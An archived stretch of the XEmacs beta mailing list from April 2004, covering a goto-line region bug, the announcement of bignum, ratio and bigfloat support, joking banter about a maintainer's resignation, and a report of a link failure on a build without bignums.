213.191.128.14 Received: from mx.iskon.hr (qmailr@213.191.128.14) by mxout2.iskon.hr with SMTP; 5 Apr 2004 23:33:02 +0200 Received: (qmail 15752 invoked from network); 5 Apr 2004 23:33:01 +0200 X-Remote-IP: 213.191.139.219 Received: from hniksic.iskon.hr (213.191.139.219) by mx.iskon.hr with SMTP; 5 Apr 2004 23:33:01 +0200 To: Adrian Aichner Cc: XEmacs Beta Subject: Re: [Bug: 21.5-b16] M-x goto-line deactivates region References: <87hdvzvziq.fsf@tleepslib.sk.tsukuba.ac.jp> <4qryjf0i.fsf@smtpmail.t-online.de> From: Hrvoje Niksic Date: Mon, 05 Apr 2004 23:34:05 +0200 In-Reply-To: <4qryjf0i.fsf@smtpmail.t-online.de> (Adrian Aichner's message of "Mon, 05 Apr 2004 23:23:09 +0200") Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.4 (Rational FORTRAN, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Adrian Aichner writes: >> I think I'm in favor for leaving the status quo here. Is there a >> compelling reason to enforce the compatibility? > > Hi Hrvoje, common-sense and principle of least surprise would be > good enough resons for me :-) There's also backward compatibility to take into account, as well as FSF compatibility. That's why I favor leaving them as they are. Maybe we should query the FSF people if they think this is worth changing? We don't have to follow suit, but they might have useful insight into this. From xemacs-beta-admin@xemacs.org Mon Apr 5 18:27:07 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i35MR1s13231; Mon, 5 Apr 2004 18:27:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i35MQvj13205 for xemacs-beta-mailman@xemacs.org; Mon, 5 Apr 2004 18:26:57 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i35MQu513195 for turnbull@tux.org; Mon, 5 Apr 2004 18:26:56 -0400 Received: from mailout01.sul.t-online.com (mailout01.sul.t-online.com [194.25.134.80]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i35MQss13187; Mon, 5 Apr 2004 18:26:54 -0400 Received: from sfwd00.aul.t-online.de by mailout01.sul.t-online.com with smtp id 1BAcYP-0007Tl-00; Tue, 06 Apr 2004 00:26:53 +0200 Received: from D5DC120J.t-online.de (ThyWxvZLreM6zhB0WQoK6kOk+ctudNw-NQeyy5pU1sJ0KQEq1s7L0G@[217.89.13.38]) by afwd00.sul.t-online.com with esmtp id 1BAcYI-0bXAu00; Tue, 6 Apr 2004 00:26:46 +0200 To: Hrvoje Niksic Cc: Adrian Aichner , XEmacs Beta Subject: Re: [Bug: 21.5-b16] M-x goto-line deactivates region X-Face: 4[iHdXiTu\V3u[~\I)*}#kYF[-tYl3VZga/HSOP|K,{L Rtu@f0y/=O&Cu}\:~d|P$JON?pn?j,&CnPb1z#/TL9bkAJwyol&a:SvYj-VYbM=Dtxhk9 =w|R6U3_;SH&B <87hdvzvziq.fsf@tleepslib.sk.tsukuba.ac.jp> <4qryjf0i.fsf@smtpmail.t-online.de> Organization: The XEmacs Project From: Adrian Aichner Date: Tue, 06 Apr 2004 00:27:50 +0200 In-Reply-To: (Hrvoje Niksic's message of "Mon, 05 Apr 2004 23:34:05 +0200") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Seen: false X-ID: ThyWxvZLreM6zhB0WQoK6kOk+ctudNw-NQeyy5pU1sJ0KQEq1s7L0G X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Hrvoje Niksic writes: > Adrian Aichner writes: > >>> I think I'm in favor for leaving the status quo here. Is there a >>> compelling reason to enforce the compatibility? >> >> Hi Hrvoje, common-sense and principle of least surprise would be >> good enough resons for me :-) > > There's also backward compatibility to take into account, as well as > FSF compatibility. That's why I favor leaving them as they are. > > Maybe we should query the FSF people if they think this is worth > changing? We don't have to follow suit, but they might have useful > insight into this. Sure, I'm all for it. > -- Adrian Aichner mailto:adrian@xemacs.org http://www.xemacs.org/ From xemacs-beta-admin@xemacs.org Mon Apr 5 22:46:04 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i362k2s09957; Mon, 5 Apr 2004 22:46:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i362jpI09903 for xemacs-beta-mailman@xemacs.org; Mon, 5 Apr 2004 22:45:51 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i362jon09893 for turnbull@tux.org; Mon, 5 Apr 2004 22:45:50 -0400 Received: from stephens.ittc.ku.edu (stephens.ittc.ku.edu [129.237.125.220]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i362jos09888 for ; Mon, 5 Apr 2004 22:45:50 -0400 Received: from diannao.ittc.ku.edu (diannao.ittc.ku.edu [129.237.126.112]) by stephens.ittc.ku.edu (8.12.10/8.12.10/ITTC-ANTISPAM-ANTIVIRUS-3.0) with ESMTP id i362jVDu006952 for ; Mon, 5 Apr 2004 21:45:31 -0500 Received: from diannao.ittc.ku.edu by diannao.ittc.ku.edu (8.12.8/KU-4.0-client) id i362jVHS028075; Mon, 5 Apr 2004 21:45:31 -0500 Received: (from james@localhost) by diannao.ittc.ku.edu (8.12.8/8.12.8/Submit) id i362jUi1028073; Mon, 5 Apr 2004 21:45:30 -0500 X-Authentication-Warning: diannao.ittc.ku.edu: james set sender to james@eecs.ku.edu using -f To: XEmacs Beta Subject: Bignums, ratios, and bigfloats From: Jerry James X-Face: +5(Pfr,;N>q#6NT,Qi5^TQh-MaUnz#kGN~OW[CQj~RS+sIor( '_8K^f9u^Y#.N`>9oKN$\JpI Date: Mon, 05 Apr 2004 21:45:30 -0500 Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-VirusScan: Clean X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , I have committed the patch to enable bignums, ratios, and bigfloats in 21.5. If you want to try it out and have GNU MP, tell configure to --use-number-lib=gmp or if you have BSD MP and are willing to help me iron the kinks out of it, say --use-number-lib=mp Note that you get bignums ONLY if you use BSD MP; ratios and bigfloats are not provided. Furthermore, BSD MP has been very flaky for me. I get strange errors when using it. This probably means that there are some serious bugs lurking in number-mp.{c,h}. I have been running a GMP-enabled XEmacs with Gnus operating all day without any crashes, errors, or warnings, so I'm hopeful that we are closing in on stability. It passes all tests, although a few of the old tests had to be altered or skipped because they were inappropriate. At the Lisp level, you will see the following changes: - (coerce x type) works with type = integer, ratio, and bigfloat - (eql a b) returns t if a and b are both numbers and have the same value, even if their types are different - All of the arithmetic operators work with bignums, ratios, and bigfloats (-, +, *, /, <, <=, >=, >, =, /=, max, min, rem, mod, 1+, 1-, abs, float, ceiling, floor, round, truncate) - Functions that used to work with just fixnums but now work with bignums and ratios as well: %, logand, logxor, lognot, ash, lsh - expt and sqrt now work with bignum arguments - New function (div x y) works just like (/ x y) except that, if its arguments are integers that do not divide evenly, it produces a ratio. - New function (nonnegativep x) returns t if x >= 0, regardless of the type of x (this is like natnump, except that only works for integers) - New type predicates fixnump, bignump, ratiop, rationalp, bigfloatp, and floatingp. - The type predicate integerp now returns t if its argument is either a fixnum or a bignum. - The type predicate numberp now returns t if its argument is any kind of number. - (zerop x) works for any type of number. - number-to-string and string-to-number support integers of any length, and ratios in the following format: 3/4 - Several changes in format: o (format "%d" x) works for all integers and ratios o (format "%o" x) works for all integers and ratios o (format "%x" x) works for all nonnegative integers and ratios o (format "%u" -1) signals a wrong-type-argument error (also "%x") - Conversions from float to int will make a bignum instead of signalling a range error if the argument does not fit into a fixnum. - (random x) now works for any integer x You can test for the presence of bignums, ratios, and bigfloats with (featurep 'bignum), (featurep 'ratio), and (featurep 'bigfloat), respectively. Note that I have mostly concentrated on bignums, to a somewhat lesser extent on ratios, and hardly at all on bigfloats. Expect bugs to surface accordingly. I did not work on providing complex numbers. If someone comes up with a compelling reason why XEmacs should support them, we can talk. Until then, I am content. (Furthermore, it is *almost* possible to implement complex numbers in Lisp. Convincing the sqrt and expt functions to do the right thing would be the hardest part, I think.) And now it is time for a Dave Barry rip-off. It's ask Mr. Answer Person! Q. I enabled bignums, and whenever I try to use a 1,000,000-digit integer, XEmacs segfaults. A. GMP allocates temporaries with alloca. You ran out of stack space. Recompile GMP with --disable-alloca and watch it run slower! Q. Speaking of slow, the bignum performance seems to crawl. What gives? A. I will now do my impression of Dave Barry doing his impression of Johnny Carson doing his mind-reading routine. You are running a Linux distribution which compiles everything for the Intel 386. Recompile GMP and tell it what kind of CPU you really have, and it will be MUCH faster. Q. How much faster? A. Two or three orders of magnitude for a Pentium III/IV. No joke. See http://www.swox.com/gmp/gmp-speed.html for more speed-related information. Q. I have some Lisp code that checks whether two integers are equal with (eq x y). It is failing now when I give it large numbers. Why? A. The eq function checks whether two Lisp objects are in fact the same object. This works fine for fixnums, but it does not work for bignums, which are consed objects. You should check for equality of same-typed numbers with eql. If you don't even know that the numbers have the same type, use the = function instead. Q. These enhanced numbers are great! Now I want to add support for MPFR/NTL/CLN/LIBL/other library. What do I do? A. Bug me to write the internals documentation. Until I do so, your best bet is to look through number-gmp.h and number-mp.h, and hope that you have latent telepathic abilities. Q. Is this the last question? A. Yes. -- Jerry James http://www.ittc.ku.edu/~james/ From xemacs-beta-admin@xemacs.org Mon Apr 5 23:50:03 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i363o2s24273; Mon, 5 Apr 2004 23:50:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i363nGo24108 for xemacs-beta-mailman@xemacs.org; Mon, 5 Apr 2004 23:49:16 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i363nFP24095 for turnbull@tux.org; Mon, 5 Apr 2004 23:49:15 -0400 Received: from stephens.ittc.ku.edu (stephens.ittc.ku.edu [129.237.125.220]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i363nEs24091; Mon, 5 Apr 2004 23:49:14 -0400 Received: from diannao.ittc.ku.edu (diannao.ittc.ku.edu [129.237.126.112]) by stephens.ittc.ku.edu (8.12.10/8.12.10/ITTC-ANTISPAM-ANTIVIRUS-3.0) with ESMTP id i363n4Du010963; Mon, 5 Apr 2004 22:49:04 -0500 Received: from diannao.ittc.ku.edu by diannao.ittc.ku.edu (8.12.8/KU-4.0-client) id i363n4HS028162; Mon, 5 Apr 2004 22:49:04 -0500 Received: (from james@localhost) by diannao.ittc.ku.edu (8.12.8/8.12.8/Submit) id i363n4Cw028160; Mon, 5 Apr 2004 22:49:04 -0500 X-Authentication-Warning: diannao.ittc.ku.edu: james set sender to james@eecs.ku.edu using -f To: "Stephen J. Turnbull" Cc: XEmacs Beta Subject: Re: Resignation References: <87ad1v2e5j.fsf@tleepslib.sk.tsukuba.ac.jp> From: Jerry James X-Face: +5(Pfr,;N>q#6NT,Qi5^TQh-MaUnz#kGN~OW[CQj~RS+sIor( '_8K^f9u^Y#.N`>9oKN$\JpI Date: Mon, 05 Apr 2004 22:49:04 -0500 In-Reply-To: <87ad1v2e5j.fsf@tleepslib.sk.tsukuba.ac.jp> (Stephen J. Turnbull's message of "Fri, 02 Apr 2004 13:32:24 +0900") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-2 X-VirusScan: Clean Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by gwyn.tux.org id i363nEs24091 X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , "Stephen J. Turnbull" wrote: >>>>>> "Jerry" == Jerry James writes: > > Sorry, it's a life sentence. Anyway, by posting that message you just > nominated yourself for meta-maintainer. [Steve sez: YES!!] Sure, after you've finished your 20-year run, I'll be happy to step in as your replacement. > Jerry> and indeed from XEmacs development altogether. > > That's OK, we haven't had an all-together development session since > M17N '99 with the Steve/Martin Show. (Man, what a team that was, with > double low posts Bill Perry and Hrvoje Nik¹iæ in the 210cm class, Ben > "Flying Fingers" Wing at point guard, and Didier "Quick Release" Verna > and "Stig Hackvän" at forward.) Sounds fun! > I hope you'll continue your efforts in our Distributed Development > Department. You know it. > Jerry> Microsoft Research > > Huh? Since when does Microsoft have a regular expression product? Ha, ha! There really is a Microsoft Research, though, and there are some quite good people there. Leslie Lamport went there when Compaq decided to throw away the old DEC research labs. Jim Gray runs a database research group for them. > Jerry> In fact, you all might want to consider joining me in > Jerry> making Microsoft Word the next-generation editor. > > Hey, I was just thinking about that last night: > > chdir M:\Development > deltree "Microsoft Word" > cvs -d :pserver:cvs@cvs.xemacs.org:/pack/cvsroot login > cvs -d :pserver:cvs@cvs.xemacs.org:/pack/cvsroot checkout -A xemacs > ren xemacs "Microsoft Word" > chdir "Microsoft Word\modules" > cvs -d :pserver:anonymous@wvware.sourceforge.net login > cvs -d :pserver:anonymous@wvware.sourceforge.net checkout -A wvware > > and work from there. Ya think? Actually, I've often thought that there is a great XEmacs modules lurking at http://wvware.sourceforge.net/. Edit Word documents in XEmacs! RMS would love that one. -- Jerry James http://www.ittc.ku.edu/~james/ From xemacs-beta-admin@xemacs.org Tue Apr 6 00:40:03 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i364e2s22980; Tue, 6 Apr 2004 00:40:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i364dDG09638 for xemacs-beta-mailman@xemacs.org; Tue, 6 Apr 2004 00:39:13 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i364dDW09556 for turnbull@tux.org; Tue, 6 Apr 2004 00:39:13 -0400 Received: from rwcrmhc13.comcast.net (rwcrmhc13.comcast.net [204.127.198.39]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i364dCs09470; Tue, 6 Apr 2004 00:39:12 -0400 Received: from the-saint.the-saint.localdomain (pcp06945825pcs.nrockv01.md.comcast.net[69.138.30.56]) by comcast.net (rwcrmhc13) with ESMTP id <20040406043911015003r7dme>; Tue, 6 Apr 2004 04:39:12 +0000 To: Jerry James Cc: XEmacs Beta Subject: Re: Bignums, ratios, and bigfloats From: Kaarthik Sivakumar In-Reply-To: (Jerry James's message of "Mon, 05 Apr 2004 21:45:30 -0500") References: Date: Tue, 06 Apr 2004 00:41:45 -0400 Message-ID: <86hdvx4t12.fsf@comcast.net> User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.5 (chayote, berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>> "JJ" == Jerry James writes: JJ> I have committed the patch to enable bignums, ratios, and JJ> bigfloats in I am going to ask a dumb question here: What exactly do you expect them to be used for? Maybe heavy mathematical stuff (like the calc package)? JJ> 21.5. If you want to try it out and have GNU MP, tell configure to JJ> --use-number-lib=gmp JJ> or if you have BSD MP and are willing to help me iron the kinks out of JJ> it, say JJ> --use-number-lib=mp JJ> Note that you get bignums ONLY if you use BSD MP; ratios and bigfloats JJ> are not provided. Furthermore, BSD MP has been very flaky for me. I JJ> get strange errors when using it. This probably means that there are JJ> some serious bugs lurking in number-mp.{c,h}. I can do some testing here. I run FreeBSD, nearly 5.2 (ie 5.2RC2). I am not sure what exactly to test for though, which is why I asked the previous question. [...] kaarthik From xemacs-beta-admin@xemacs.org Tue Apr 6 01:41:13 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i365f8s06802; Tue, 6 Apr 2004 01:41:08 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i365esu06764 for xemacs-beta-mailman@xemacs.org; Tue, 6 Apr 2004 01:40:54 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i365epA06743 for turnbull@tux.org; Tue, 6 Apr 2004 01:40:51 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i365els06723; Tue, 6 Apr 2004 01:40:47 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BAjKH-0005DE-00; Tue, 06 Apr 2004 14:40:45 +0900 To: Jerry James Cc: XEmacs Beta Subject: Re: Resignation References: <87ad1v2e5j.fsf@tleepslib.sk.tsukuba.ac.jp> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Tue, 06 Apr 2004 14:40:45 +0900 In-Reply-To: (Jerry James's message of "Mon, 05 Apr 2004 22:49:04 -0500") Message-ID: <874qrxr7du.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Jerry" == Jerry James writes: Jerry> Ha, ha! There really is a Microsoft Research, though, and Jerry> there are some quite good people there. Microsoft is full of "quite good" or better people, from the founder on down. The ethics at the top are pretty shaky, but then so are the ethics of the people who run the computer center and the educational labs at my university. Jerry> Actually, I've often thought that there is a great XEmacs Jerry> modules lurking at http://wvware.sourceforge.net/. Edit Jerry> Word documents in XEmacs! RMS would love that one. That would be cool, although I'm not personally interested in going that far. But it would be nice to be able to get text/html/rtf views of Word documents in a buffer. Heck, all we really need to do is add wvware as a jkacompr decoder to get the basics. ;-) Hmm.... -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Tue Apr 6 03:21:03 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i367L1s30820; Tue, 6 Apr 2004 03:21:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i367K4l30637 for xemacs-beta-mailman@xemacs.org; Tue, 6 Apr 2004 03:20:04 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i367K3C30623 for turnbull@tux.org; Tue, 6 Apr 2004 03:20:03 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i367K0s30589; Tue, 6 Apr 2004 03:20:00 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BAksG-0006K1-00; Tue, 06 Apr 2004 16:19:56 +0900 To: Kaarthik Sivakumar Cc: Jerry James , XEmacs Beta Subject: Re: Bignums, ratios, and bigfloats References: <86hdvx4t12.fsf@comcast.net> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Tue, 06 Apr 2004 16:19:56 +0900 In-Reply-To: <86hdvx4t12.fsf@comcast.net> (Kaarthik Sivakumar's message of "Tue, 06 Apr 2004 00:41:45 -0400") Message-ID: <87vfkdpo83.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Kaarthik" == Kaarthik Sivakumar writes: >>>> "JJ" == Jerry James writes: JJ> I have committed the patch to enable bignums, ratios, and JJ> bigfloats in Kaarthik> I am going to ask a dumb question here: What exactly do Kaarthik> you expect them to be used for? Maybe heavy mathematical Kaarthik> stuff (like the calc package)? Some people have actually stated that 1GB (biggest positive integer) is a constraint on some of the files they'd like to edit in XEmacs. Ratios will surely find a lot of quick and dirty uses that people wouldn't go to the trouble of using calc for, or writing ratio-handling routines. Also, there are plenty of countries (with reasonable economies, I'm not talking about Romania) with exchange rates over 1000 local units/USD. A billion local units of currency is hardly a big number in that case. I wouldn't be surprised if there aren't a fair number of such apps where people would do calculations in Emacs Lisp if only ratios were transparently handled or the numbers were a little bit bigger. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Tue Apr 6 06:24:06 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i36AO0s08882; Tue, 6 Apr 2004 06:24:00 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i36ANKP08780 for xemacs-beta-mailman@xemacs.org; Tue, 6 Apr 2004 06:23:20 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i36ANJr08766 for turnbull@tux.org; Tue, 6 Apr 2004 06:23:19 -0400 Received: from moutng.kundenserver.de (moutng.kundenserver.de [212.227.126.183]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i36ANHs08747; Tue, 6 Apr 2004 06:23:17 -0400 Received: from [212.227.126.162] (helo=mrelayng.kundenserver.de) by moutng.kundenserver.de with esmtp (Exim 3.35 #1) id 1BAnjg-0003Bw-00; Tue, 06 Apr 2004 12:23:16 +0200 Received: from [217.94.155.183] (helo=192.168.1.3) by mrelayng.kundenserver.de with asmtp (TLSv1:RC4-MD5:128) (Exim 3.35 #1) id 1BAnjg-0000kY-00; Tue, 06 Apr 2004 12:23:16 +0200 From: Marcus Crestani Reply-To: marcus@crestani.de To: XEmacs Beta Subject: Current CVS link failure - bignums Date: Tue, 6 Apr 2004 12:23:15 +0200 User-Agent: KMail/1.6 Cc: Jerry James MIME-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Message-Id: <200404061223.15040.marcus@crestani.de> X-Provags-ID: kundenserver.de abuse@kundenserver.de auth:e15096966cedbbf71a87b058cfda2906 X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.3 required=5.0 tests=RCVD_NUMERIC_HELO autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Without enabling the bignums, current CVS XEmacs doesn't link correctly. See below. I configured without any options: ./configure crestani@zoiby:~/src/xemacs/xemacs-21.5> uname -a Linux zoiby 2.4.21-199-smp4G #1 SMP Fri Mar 12 08:32:35 UTC 2004 i686 i686 i386 GNU/Linux crestani@zoiby:~/src/xemacs/xemacs-21.5> gcc -v Reading specs from /usr/lib/gcc-lib/i586-suse-linux/3.3.1/specs Configured with ../configure --enable-threads=posix --prefix=/usr --with-local-prefix=/usr/local --infodir=/usr/share/info --mandir=/usr/share/man --libdir=/usr/lib --enable-languages=c,c++,f77,objc,java,ada --disable-checking --enable-libgcj --with-gxx-include-dir=/usr/include/g++ --with-slibdir=/lib --with-system-zlib --enable-shared --enable-__cxa_atexit Thread model: posix gcc-Version 3.3.1 gcc -g -O3 -L/usr/X11/lib -Wl,-export-dynamic -o xemacs abbrev.o alloc.o alloca.o balloon_help.o balloon-x.o blocktype.o buffer.o bytecode.o callint.o casefiddle.o casetab.o chartab.o filelock.o cmdloop.o cmds.o console.o console-stream.o data.o debug.o tests.o device.o dired.o doc.o doprnt.o dynarr.o editfns.o elhash.o emacs.o emodules.o eval.o events.o event-stream.o event-unixoid.o dumper.o inline.o linuxplay.o miscplay.o terminfo.o extents.o faces.o file-coding.o fileio.o filemode.o floatfns.o fns.o font-lock.o frame.o general.o dgif_lib.o gif_io.o glyphs.o glyphs-eimage.o glyphs-shared.o glyphs-widget.o gpmevent.o gui.o menubar.o scrollbar.o toolbar.o gutter.o hash.o imgproc.o indent.o insdel.o intl.o keymap.o line-number.o lread.o lstream.o macros.o marker.o md5.o minibuf.o objects.o opaque.o print.o process.o process-unix.o profile.o rangetab.o realpath.o redisplay.o redisplay-output.o regex.o search.o select.o sysdll.o signal.o sound.o specifier.o strftime.o symbols.o syntax.o sysdep.o text.o console-tty.o device-tty.o event-tty.o frame-tty.o objects-tty.o redisplay-tty.o cm.o undo.o unicode.o console-x.o device-x.o event-Xt.o frame-x.o glyphs-x.o objects-x.o redisplay-x.o select-x.o xgccache.o intl-x.o gui-x.o menubar-x.o scrollbar-x.o toolbar-x.o toolbar-common.o widget.o window.o lastfile.o free-hook.o vm-limit.o EmacsFrame.o EmacsShell.o TopLevelEmacsShell.o TransientEmacsShell.o EmacsManager.o dump-id.o ../lwlib/liblw.a -ltiff -lpng -ljpeg -lz -lXpm -lXmu -lXt -lXext -lX11 -lSM -lICE -lgpm -lncurses -lm -lutil bytecode.o(.text+0x5e8): In function `execute_optimized_program': /home/crestani/src/xemacs/xemacs-21.5/src/lisp.h:2460: undefined reference to `make_integer' data.o(.text+0x4807): In function `Fadd1': /home/crestani/src/xemacs/xemacs-21.5/src/lisp.h:2392: undefined reference to `make_integer' data.o(.text+0x483e): In function `Fadd1': /home/crestani/src/xemacs/xemacs-21.5/src/data.c:2402: undefined reference to `make_integer' data.o(.text+0x48c7): In function `Fsub1': /home/crestani/src/xemacs/xemacs-21.5/src/lisp.h:2392: undefined reference to `make_integer' data.o(.text+0x48fe): In function `Fsub1': /home/crestani/src/xemacs/xemacs-21.5/src/data.c:2446: undefined reference to `make_integer' collect2: ld returned 1 exit status make[1]: *** [xemacs] Error 1 make[1]: Leaving directory `/home/crestani/src/xemacs/xemacs-21.5/src' -- Marcus From xemacs-beta-admin@xemacs.org Tue Apr 6 08:26:11 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i36CQ3s04295; Tue, 6 Apr 2004 08:26:03 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i36CPFb04101 for xemacs-beta-mailman@xemacs.org; Tue, 6 Apr 2004 08:25:15 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id 